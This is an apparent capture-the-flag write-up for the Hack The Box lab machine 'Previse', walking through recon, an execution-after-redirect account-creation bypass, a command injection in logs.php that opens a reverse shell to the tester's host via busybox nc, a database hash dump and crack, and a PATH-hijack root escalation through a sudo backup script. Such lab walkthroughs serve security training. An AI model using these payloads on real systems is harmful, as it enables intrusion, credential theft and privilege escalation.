Skip to content

HTB: Previse

Summary with Spoilers

This Linux machine has a simple PHP website with an EAR vulnerability. It's possible to create a login user via a POST without actually being authenticated. There's also an unsanitized input in the logs.php file that allows a command injection, which can be used to establish a foothold as www-data. From there, the admin user's hash is recoverable via MariaDB, and it's crackable. As the admin user, a script runnable via Sudo can be abused for PE.

Services

TCP

$ sudo nmap -v -sCV -p- -T4 t
...
Nmap scan report for t (10.10.11.104)
Host is up (0.094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelNSE: Script Post-scanning.
Initiating NSE at 16:04
Completed NSE at 16:04, 0.00s elapsed
Initiating NSE at 16:04
Completed NSE at 16:04, 0.00s elapsed
Initiating NSE at 16:04
Completed NSE at 16:04, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 224.52 seconds
Raw packets sent: 68731 (3.024MB) | Rcvd: 68010 (2.739MB)

80/tcp Http

$ whatweb http://previse.htb
http://previse.htb [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
http://previse.htb/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]
$ feroxbuster -k -u http://previse.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -d2
...
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://previse.htb/download.php => login.php
200      GET        6l       39w     3031c http://previse.htb/favicon-32x32.png
200      GET        6l       17w     1258c http://previse.htb/favicon-16x16.png
302      GET       71l      164w     2801c http://previse.htb/index.php => login.php
200      GET       10l       39w    29694c http://previse.htb/favicon.ico
200      GET        3l     4821w    65009c http://previse.htb/js/uikit-icons.min.js
200      GET        3l     2219w   133841c http://previse.htb/js/uikit.min.js
302      GET       71l      164w     2801c http://previse.htb/ => login.php
200      GET        1l     4285w   274772c http://previse.htb/css/uikit.min.css
200      GET       20l       64w      980c http://previse.htb/header.php
200      GET       53l      138w     2224c http://previse.htb/login.php
200      GET       31l       60w     1248c http://previse.htb/nav.php
302      GET        0l        0w        0c http://previse.htb/logout.php => login.php
302      GET       74l      176w     2966c http://previse.htb/status.php => login.php
302      GET      112l      263w     4914c http://previse.htb/files.php => login.php
200      GET        1l        1w      263c http://previse.htb/site.webmanifest
302      GET       93l      238w     3994c http://previse.htb/accounts.php => login.php
302      GET       81l      210w     3441c http://previse.htb/file_logs.php => login.php
200      GET       57l      337w    25229c http://previse.htb/apple-touch-icon.png
200      GET        5l       14w      217c http://previse.htb/footer.php
301      GET        9l       28w      308c http://previse.htb/css => http://previse.htb/css/
301      GET        9l       28w      307c http://previse.htb/js => http://previse.htb/js/
200      GET        0l        0w        0c http://previse.htb/config.php
302      GET        0l        0w        0c http://previse.htb/logs.php => login.php
[####################] - 15m   220574/220574  0s      found:24      errors:9
[####################] - 15m   220546/220546  240/s   http://previse.htb/
[####################] - 2s    220546/220546  122867/s http://previse.htb/js/ => Directory listing
[####################] - 2s    220546/220546  104326/s http://previse.htb/css/ => Directory listing

RCE

The website has an Execution After Redirect (EAR) vulnerability. In short: the server returns a 302 status code but then proceeds to render the response anyway. It's easy to miss because your browser will redirect, so you need to use curl or BurpSuite to view the response before the redirection happens.

So, I'm able to view the output of acounts.php without authenticating using curl. From there I can see the POST parameters needed to create an account, just username, password and confirm.

That means I can create an account without authenticating:

curl -X POST -d 'username=haxhax' -d 'password=haxhax' -d 'confirm=haxhax' http://previse.htb/accounts.php

After logging in, I see one file, which happens to be a site-backup. I'm able to download it and extract the contents:

kali@kali:~/htb-previse/siteBackup
$ rm -rf *kali@kali:~/htb-previse/siteBackup
$ unzip ../siteBackup.zip
Archive:  ../siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.phpkali@kali:~/htb-previse/siteBackup
$ cat config.php
<?phpfunction connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}?>

The logs.php file has a command injection vulnerability in the delim parameter:

POST /logs.php HTTP/1.1
Host: previse.htb
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://previse.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://previse.htb/file_logs.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=k2t8039ucph24qo3q1d6fhdtlq
Connection: close

delim=$( busybox nc 10.10.14.12 443 -e bash )
www-data@previse:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Using the previously discovered MySQL password, I'm able to get the hash for the user.

www-data@previse:/tmp$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | haxhax   | $1$🧂llol$2PFPI1udHJoPtHxC9N45w0 | 2024-05-14 19:34:50 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)

The hash is crackable: ilovecody112235!

PE

There's a script that can be run as root via Sudo, and it's vulnerable to a Path Injection. I can replace gzip with my own malicious script by placing it first in the PATH environmental variable.

$ ssh m4lwhere@t
m4lwhere@t's password:
...

Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5
m4lwhere@previse:~$ cat user.txt
ec5d4a..
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
m4lwhere@previse:~$ ls -l /opt/scripts/access_backup.sh
-rwxr-xr-x 1 root root 486 Jun  6  2021 /opt/scripts/access_backup.sh

Here's /tmp/gzip:

#!/bin/bash
cp /bin/bash /tmp/x; chown root:root /tmp/x; chmod 6777 /tmp/x
m4lwhere@previse:~$ chmod +x /tmp/gzip
m4lwhere@previse:~$ export PATH="/tmp:$PATH"
m4lwhere@previse:~$ which gzip
/tmp/gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -l /tmp/x
-rwsrwsrwx 1 root root 1113504 May 14 20:41 /tmp/x
m4lwhere@previse:~$ /tmp/x -p
x-4.4# cat /root/root.txt
b65f3d...